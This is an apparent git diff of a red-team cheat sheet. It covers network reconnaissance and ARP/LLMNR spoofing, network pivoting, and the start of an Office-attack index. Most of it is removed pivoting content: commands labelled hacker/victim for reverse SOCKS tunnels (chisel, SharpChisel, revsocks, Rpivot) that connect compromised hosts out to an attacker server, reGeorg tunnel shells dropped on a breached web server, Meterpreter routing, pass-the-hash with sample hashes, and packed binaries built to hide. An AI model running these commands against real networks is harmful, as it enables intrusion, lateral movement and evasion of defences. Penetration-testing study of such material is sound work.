||||||
|
|
||||||
```powershell
|
|
||||||
python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostnames --services --quick
|
|
||||||
```
|
|
||||||
|
|
||||||
If you have a segfault with nbtscan, read the following quote.
|
|
||||||
> Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) - all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255
|
|
||||||
|
|
||||||
## Netdiscover
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
netdiscover -i eth0 -r 192.168.1.0/24
|
|
||||||
Currently scanning: Finished! | Screen View: Unique Hosts
|
|
||||||
|
|
||||||
20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876
|
|
||||||
_____________________________________________________________________________
|
|
||||||
IP At MAC Address Count Len MAC Vendor / Hostname
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom
|
|
||||||
192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor
|
|
||||||
192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc.
|
|
||||||
192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD
|
|
||||||
```
|
|
||||||
|
|
||||||
## Responder
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding.
|
|
||||||
responder.py -I eth0 -wrf
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows)
|
|
||||||
|
|
||||||
## Bettercap
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
bettercap -X --proxy --proxy-https -T <target IP>
|
|
||||||
# better cap in spoofing, discovery, sniffer
|
|
||||||
# intercepting http and https requests,
|
|
||||||
# targetting specific IP only
|
|
||||||
```
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [TODO](TODO)
|
|
||||||
@@ -1,458 +1,29 @@
|
|||||||
# Network Pivoting Techniques
|
# Network Pivoting Techniques
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/pivoting/network-pivoting-techniques](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/)
|
||||||
|
|
||||||
* [Windows netsh Port Forwarding](#windows-netsh-port-forwarding)
|
- [SOCKS Compatibility Table](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#socks-compatibility-table)
|
||||||
* [SSH](#ssh)
|
- [Windows netsh Port Forwarding](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#windows-netsh-port-forwarding)
|
||||||
* [SOCKS Proxy](#socks-proxy)
|
- [SSH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#ssh)
|
||||||
* [Local Port Forwarding](#local-port-forwarding)
|
- [SOCKS Proxy](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#socks-proxy)
|
||||||
* [Remote Port Forwarding](#remote-port-forwarding)
|
- [Local Port Forwarding](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#local-port-forwarding)
|
||||||
* [Proxychains](#proxychains)
|
- [Remote Port Forwarding](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#remote-port-forwarding)
|
||||||
* [Graftcp](#graftcp)
|
- [Proxychains](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#proxychains)
|
||||||
* [Web SOCKS - reGeorg](#web-socks---regeorg)
|
- [Graftcp](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#graftcp)
|
||||||
* [Web SOCKS - pivotnacci](#web-socks---pivotnacci)
|
- [Web SOCKS - reGeorg](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#web-socks---regeorg)
|
||||||
* [Metasploit](#metasploit)
|
- [Web SOCKS - pivotnacci](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#web-socks---pivotnacci)
|
||||||
* [sshuttle](#sshuttle)
|
- [Metasploit](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#metasploit)
|
||||||
* [chisel](#chisel)
|
- [sshuttle](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#sshuttle)
|
||||||
* [SharpChisel](#sharpchisel)
|
- [chisel](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#chisel)
|
||||||
* [gost](#gost)
|
- [SharpChisel](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#sharpchisel)
|
||||||
* [Rpivot](#rpivot)
|
- [gost](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#gost)
|
||||||
* [RevSocks](#revsocks)
|
- [Rpivot](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#rpivot)
|
||||||
* [plink](#plink)
|
- [RevSocks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#revsocks)
|
||||||
* [ngrok](#ngrok)
|
- [plink](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#plink)
|
||||||
* [Basic Pivoting Types](#basic-pivoting-types)
|
- [ngrok](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#ngrok)
|
||||||
* [Listen - Listen](#listen---listen)
|
- [Capture a network trace with builtin tools](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#capture-a-network-trace-with-builtin-tools)
|
||||||
* [Listen - Connect](#listen---connect)
|
- [Basic Pivoting Types](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#basic-pivoting-types)
|
||||||
* [Connect - Connect](#connect---connect)
|
- [Listen - Listen](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#listen---listen)
|
||||||
* [References](#references)
|
- [Listen - Connect](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#listen---connect)
|
||||||
|
- [Connect - Connect](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#connect---connect)
|
||||||
## Windows netsh Port Forwarding
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#references)
|
||||||
|
|
||||||
```powershell
|
|
||||||
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
|
|
||||||
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
|
|
||||||
|
|
||||||
# Forward the port 4545 for the reverse shell, and the 80 for the http server for example
|
|
||||||
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
|
|
||||||
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80
|
|
||||||
# Correctly open the port on the machine
|
|
||||||
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
|
|
||||||
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
|
|
||||||
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
|
|
||||||
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
1. listenaddress – is a local IP address waiting for a connection.
|
|
||||||
2. listenport – local listening TCP port (the connection is waited on it).
|
|
||||||
3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
|
|
||||||
4. connectport – is a TCP port to which the connection from listenport is forwarded to.
|
|
||||||
|
|
||||||
## SSH
|
|
||||||
|
|
||||||
### SOCKS Proxy
|
|
||||||
|
|
||||||
```bash
|
|
||||||
ssh -D8080 [user]@[host]
|
|
||||||
|
|
||||||
ssh -N -f -D 9000 [user]@[host]
|
|
||||||
-f : ssh in background
|
|
||||||
-N : do not execute a remote command
|
|
||||||
```
|
|
||||||
|
|
||||||
Cool Tip : Konami SSH Port forwarding
|
|
||||||
|
|
||||||
```bash
|
|
||||||
[ENTER] + [~C]
|
|
||||||
-D 1090
|
|
||||||
```
|
|
||||||
|
|
||||||
### Local Port Forwarding
|
|
||||||
|
|
||||||
```bash
|
|
||||||
ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
|
|
||||||
```
|
|
||||||
|
|
||||||
### Remote Port Forwarding
|
|
||||||
|
|
||||||
```bash
|
|
||||||
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
|
|
||||||
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32
|
|
||||||
```
|
|
||||||
|
|
||||||
## Proxychains
|
|
||||||
|
|
||||||
**Config file**: /etc/proxychains.conf
|
|
||||||
|
|
||||||
```bash
|
|
||||||
[ProxyList]
|
|
||||||
socks4 localhost 8080
|
|
||||||
```
|
|
||||||
|
|
||||||
Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6`
|
|
||||||
|
|
||||||
## Graftcp
|
|
||||||
|
|
||||||
> A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy.
|
|
||||||
|
|
||||||
:warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications.
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# https://github.com/hmgle/graftcp
|
|
||||||
|
|
||||||
# Create a SOCKS5, using Chisel or another tool and forward it through SSH
|
|
||||||
(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS
|
|
||||||
(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse
|
|
||||||
(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks
|
|
||||||
|
|
||||||
# Run graftcp and specify the SOCKS5
|
|
||||||
(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080
|
|
||||||
(attacker) $ graftcp ./nuclei -u http://172.16.1.24
|
|
||||||
```
|
|
||||||
|
|
||||||
Simple configuration file for graftcp
|
|
||||||
|
|
||||||
```py
|
|
||||||
# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf
|
|
||||||
## Listen address (default ":2233")
|
|
||||||
listen = :2233
|
|
||||||
loglevel = 1
|
|
||||||
|
|
||||||
## SOCKS5 address (default "127.0.0.1:1080")
|
|
||||||
socks5 = 127.0.0.1:1080
|
|
||||||
# socks5_username = SOCKS5USERNAME
|
|
||||||
# socks5_password = SOCKS5PASSWORD
|
|
||||||
|
|
||||||
## Set the mode for select a proxy (default "auto")
|
|
||||||
select_proxy_mode = auto
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Web SOCKS - reGeorg
|
|
||||||
|
|
||||||
[reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
|
|
||||||
|
|
||||||
Drop one of the following files on the server:
|
|
||||||
|
|
||||||
- tunnel.ashx
|
|
||||||
- tunnel.aspx
|
|
||||||
- tunnel.js
|
|
||||||
- tunnel.jsp
|
|
||||||
- tunnel.nosocket.php
|
|
||||||
- tunnel.php
|
|
||||||
- tunnel.tomcat.5.jsp
|
|
||||||
|
|
||||||
```python
|
|
||||||
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080
|
|
||||||
|
|
||||||
optional arguments:
|
|
||||||
-h, --help show this help message and exit
|
|
||||||
-l , --listen-on The default listening address
|
|
||||||
-p , --listen-port The default listening port
|
|
||||||
-r , --read-buff Local read buffer, max data to be sent per POST
|
|
||||||
-u , --url The url containing the tunnel script
|
|
||||||
-v , --verbose Verbose output[INFO|DEBUG]
|
|
||||||
```
|
|
||||||
|
|
||||||
## Web SOCKS - pivotnacci
|
|
||||||
|
|
||||||
[pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
pip3 install pivotnacci
|
|
||||||
pivotnacci https://domain.com/agent.php --password "s3cr3t"
|
|
||||||
pivotnacci https://domain.com/agent.php --polling-interval 2000
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Metasploit
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Meterpreter list active port forwards
|
|
||||||
portfwd list
|
|
||||||
|
|
||||||
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
|
|
||||||
portfwd add –l 3389 –p 3389 –r target-host
|
|
||||||
portfwd add -l 88 -p 88 -r 127.0.0.1
|
|
||||||
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445
|
|
||||||
|
|
||||||
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
|
|
||||||
portfwd delete –l 3389 –p 3389 –r target-host
|
|
||||||
# Meterpreter delete all port forwards
|
|
||||||
portfwd flush
|
|
||||||
|
|
||||||
or
|
|
||||||
|
|
||||||
# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
|
|
||||||
run autoroute -s 192.168.15.0/24
|
|
||||||
use auxiliary/server/socks_proxy
|
|
||||||
set SRVPORT 9090
|
|
||||||
set VERSION 4a
|
|
||||||
# or
|
|
||||||
use auxiliary/server/socks4a # (deprecated)
|
|
||||||
|
|
||||||
|
|
||||||
# Meterpreter list all active routes
|
|
||||||
run autoroute -p
|
|
||||||
|
|
||||||
route #Meterpreter view available networks the compromised host can access
|
|
||||||
# Meterpreter add route for 192.168.14.0/24 via Session number.
|
|
||||||
route add 192.168.14.0 255.255.255.0 3
|
|
||||||
# Meterpreter delete route for 192.168.14.0/24 via Session number.
|
|
||||||
route delete 192.168.14.0 255.255.255.0 3
|
|
||||||
# Meterpreter delete all routes
|
|
||||||
route flush
|
|
||||||
```
|
|
||||||
|
|
||||||
## Empire
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
(Empire) > socksproxyserver
|
|
||||||
(Empire) > use module management/invoke_socksproxy
|
|
||||||
(Empire) > set remoteHost 10.10.10.10
|
|
||||||
(Empire) > run
|
|
||||||
```
|
|
||||||
|
|
||||||
## sshuttle
|
|
||||||
|
|
||||||
Transparent proxy server that works as a poor man's VPN. Forwards over ssh.
|
|
||||||
|
|
||||||
* Doesn't require admin.
|
|
||||||
* Works with Linux and MacOS.
|
|
||||||
* Supports DNS tunneling.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
pacman -Sy sshuttle
|
|
||||||
apt-get install sshuttle
|
|
||||||
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
|
|
||||||
sshuttle -vvr username@pivot_host 10.2.2.0/24
|
|
||||||
|
|
||||||
# using a private key
|
|
||||||
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa"
|
|
||||||
|
|
||||||
# -x == exclude some network to not transmit over the tunnel
|
|
||||||
# -x x.x.x.x.x/24
|
|
||||||
```
|
|
||||||
|
|
||||||
## chisel
|
|
||||||
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
go get -v github.com/jpillora/chisel
|
|
||||||
|
|
||||||
# forward port 389 and 88 to hacker computer
|
|
||||||
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
|
|
||||||
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
|
|
||||||
|
|
||||||
# SOCKS
|
|
||||||
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks
|
|
||||||
```
|
|
||||||
|
|
||||||
### SharpChisel
|
|
||||||
|
|
||||||
A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com"
|
|
||||||
================================================================
|
|
||||||
server : run the Server Component of chisel
|
|
||||||
-p 8080 : run server on port 8080
|
|
||||||
--key "private": use "private" string to seed the generation of a ECDSA public and private key pair
|
|
||||||
--auth "user:pass" : Creds required to connect to the server
|
|
||||||
--reverse: Allow clients to specify reverse port forwarding remotes in addition to normal remotes.
|
|
||||||
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.
|
|
||||||
|
|
||||||
user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks
|
|
||||||
```
|
|
||||||
|
|
||||||
## Ligolo
|
|
||||||
|
|
||||||
Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
|
|
||||||
|
|
||||||
|
|
||||||
1. Build Ligolo
|
|
||||||
```powershell
|
|
||||||
# Get Ligolo and dependencies
|
|
||||||
cd `go env GOPATH`/src
|
|
||||||
git clone https://github.com/sysdream/ligolo
|
|
||||||
cd ligolo
|
|
||||||
make dep
|
|
||||||
|
|
||||||
# Generate self-signed TLS certificates (will be placed in the certs folder)
|
|
||||||
make certs TLS_HOST=example.com
|
|
||||||
|
|
||||||
make build-all
|
|
||||||
```
|
|
||||||
2. Use Ligolo
|
|
||||||
```powershell
|
|
||||||
# On your attack server.
|
|
||||||
./bin/localrelay_linux_amd64
|
|
||||||
|
|
||||||
# On the compromise host.
|
|
||||||
ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
|
|
||||||
```
|
|
||||||
|
|
||||||
## Gost
|
|
||||||
|
|
||||||
> Wiki English : https://docs.ginuerzh.xyz/gost/en/
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
git clone https://github.com/ginuerzh/gost
|
|
||||||
cd gost/cmd/gost
|
|
||||||
go build
|
|
||||||
|
|
||||||
# Socks5 Proxy
|
|
||||||
Server side: gost -L=socks5://:1080
|
|
||||||
Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true
|
|
||||||
|
|
||||||
# Local Port Forward
|
|
||||||
gost -L=tcp://:2222/192.168.1.1:22 [-F=..]
|
|
||||||
```
|
|
||||||
|
|
||||||
## Rpivot
|
|
||||||
|
|
||||||
Server (Attacker box)
|
|
||||||
|
|
||||||
```python
|
|
||||||
python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
|
|
||||||
```
|
|
||||||
|
|
||||||
Client (Compromised box)
|
|
||||||
|
|
||||||
```python
|
|
||||||
python client.py --server-ip <ip> --server-port 9443
|
|
||||||
```
|
|
||||||
|
|
||||||
Through corporate proxy
|
|
||||||
|
|
||||||
```python
|
|
||||||
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
|
|
||||||
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
|
|
||||||
```
|
|
||||||
|
|
||||||
Passing the hash
|
|
||||||
|
|
||||||
```python
|
|
||||||
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
|
|
||||||
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
|
|
||||||
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
|
|
||||||
```
|
|
||||||
|
|
||||||
## revsocks
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Listen on the server and create a SOCKS 5 proxy on port 1080
|
|
||||||
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234
|
|
||||||
|
|
||||||
# Connect client to the server
|
|
||||||
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
|
|
||||||
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Build for Linux
|
|
||||||
git clone https://github.com/kost/revsocks
|
|
||||||
export GOPATH=~/go
|
|
||||||
go get github.com/hashicorp/yamux
|
|
||||||
go get github.com/armon/go-socks5
|
|
||||||
go get github.com/kost/go-ntlmssp
|
|
||||||
go build
|
|
||||||
go build -ldflags="-s -w" && upx --brute revsocks
|
|
||||||
|
|
||||||
# Build for Windows
|
|
||||||
go get github.com/hashicorp/yamux
|
|
||||||
go get github.com/armon/go-socks5
|
|
||||||
go get github.com/kost/go-ntlmssp
|
|
||||||
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
|
|
||||||
go build -ldflags -H=windowsgui
|
|
||||||
upx revsocks
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## plink
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# exposes the SMB port of the machine in the port 445 of the SSH Server
|
|
||||||
plink -l root -pw toor -R 445:127.0.0.1:445
|
|
||||||
# exposes the RDP port of the machine in the port 3390 of the SSH Server
|
|
||||||
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389
|
|
||||||
|
|
||||||
plink -l root -pw mypassword 192.168.18.84 -R
|
|
||||||
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445
|
|
||||||
|
|
||||||
plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
|
|
||||||
# redirects the Windows port 445 to Kali on port 22
|
|
||||||
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185
|
|
||||||
```
|
|
||||||
|
|
||||||
## ngrok
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# get the binary
|
|
||||||
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
|
|
||||||
unzip ngrok-stable-linux-amd64.zip
|
|
||||||
|
|
||||||
# log into the service
|
|
||||||
./ngrok authtoken 3U[REDACTED_TOKEN]Hm
|
|
||||||
|
|
||||||
# deploy a port forwarding for 4433
|
|
||||||
./ngrok http 4433
|
|
||||||
./ngrok tcp 4433
|
|
||||||
```
|
|
||||||
|
|
||||||
## cloudflared
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Get the binary
|
|
||||||
wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz
|
|
||||||
tar xvzf cloudflared-stable-linux-amd64.tgz
|
|
||||||
# Expose accessible internal service to the internet
|
|
||||||
./cloudflared tunnel --url <protocol>://<host>:<port>
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Basic Pivoting Types
|
|
||||||
|
|
||||||
| Type | Use Case |
|
|
||||||
| :------------- | :------------------------------------------ |
|
|
||||||
| Listen - Listen | Exposed asset, may not want to connect out. |
|
|
||||||
| Listen - Connect | Normal redirect. |
|
|
||||||
| Connect - Connect | Can’t bind, so connect to bridge two hosts |
|
|
||||||
|
|
||||||
### Listen - Listen
|
|
||||||
|
|
||||||
| Type | Use Case |
|
|
||||||
| :------------- | :------------------------------------------ |
|
|
||||||
| ncat | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`|
|
|
||||||
| socat | `socat -v tcp-listen:8080 tcp-listen:9090` |
|
|
||||||
| remote host 1 | `ncat localhost 8080 < file` |
|
|
||||||
| remote host 2 | `ncat localhost 9090 > newfile` |
|
|
||||||
|
|
||||||
### Listen - Connect
|
|
||||||
|
|
||||||
| Type | Use Case |
|
|
||||||
| :------------- | :------------------------------------------ |
|
|
||||||
| ncat | `ncat -l -v -p 8080 -c "ncat localhost 9090"` |
|
|
||||||
| socat | `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090` |
|
|
||||||
| remote host 1 | `ncat localhost -p 8080 < file` |
|
|
||||||
| remote host 2 | `ncat -l -p 9090 > newfile` |
|
|
||||||
|
|
||||||
### Connect - Connect
|
|
||||||
|
|
||||||
| Type | Use Case |
|
|
||||||
| :------------- | :------------------------------------------ |
|
|
||||||
| ncat | `ncat localhost 8080 -c "ncat localhost 9090"` |
|
|
||||||
| socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` |
|
|
||||||
| remote host 1 | `ncat -l -p 8080 < file` |
|
|
||||||
| remote host 2 | `ncat -l -p 9090 > newfile` |
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/)
|
|
||||||
* [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences)
|
|
||||||
* [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/)
|
|
||||||
* [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/)
|
|
||||||
* 🇫🇷 [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/)
|
|
||||||
* [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49)
|
|
||||||
* [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory)
|
|
||||||
@@ -1,673 +1,37 @@
|
|||||||
# Office - Attacks
|
# Office - Attacks
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/office-attacks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/)
|
||||||
|
|
||||||
* [XLSM - Hot Manchego](#xlsm---hot-manchego)
|
- [Office Products Features](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#office-products-features)
|
||||||
* [XLS - Macrome](#xls---macrome)
|
- [Office Default Passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#office-default-passwords)
|
||||||
* [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter)
|
- [Office Macro execute WinAPI](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#office-macro-execute-winapi)
|
||||||
* [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut)
|
- [Excel](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#excel)
|
||||||
* [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec)
|
- [XLSM - Hot Manchego](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlsm---hot-manchego)
|
||||||
* [DOCM - Metasploit](#docm---metasploit)
|
- [XLS - Macrome](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xls---macrome)
|
||||||
* [DOCM - Download and Execute](#docm---download-and-execute)
|
- [XLM Excel 4.0 - SharpShooter](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlm-excel-40---sharpshooter)
|
||||||
* [DOCM - Macro Creator](#docm---macro-creator)
|
- [XLM Excel 4.0 - EXCELntDonut](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlm-excel-40---excelntdonut)
|
||||||
* [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro)
|
- [XLM Excel 4.0 - EXEC](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlm-excel-40---exec)
|
||||||
* [DOCM - VBA Wscript](#docm---vba-wscript)
|
- [SLK - EXEC](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#slk---exec)
|
||||||
* [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment)
|
- [Word](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#word)
|
||||||
* [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task)
|
- [DOCM - Metasploit](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---metasploit)
|
||||||
* [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions)
|
- [DOCM - Download and Execute](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---download-and-execute)
|
||||||
* [DOCM - winmgmts](#docm---winmgmts)
|
- [DOCM - Macro Creator](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---macro-creator)
|
||||||
* [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde)
|
- [DOCM - C# converted to Office VBA macro](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---c-converted-to-office-vba-macro)
|
||||||
* [DOCM - BadAssMacros](#docm---badassmacros)
|
- [DOCM - VBA Wscript](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---vba-wscript)
|
||||||
* [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module)
|
- [DOCM - VBA Shell Execute Comment](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---vba-shell-execute-comment)
|
||||||
* [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec)
|
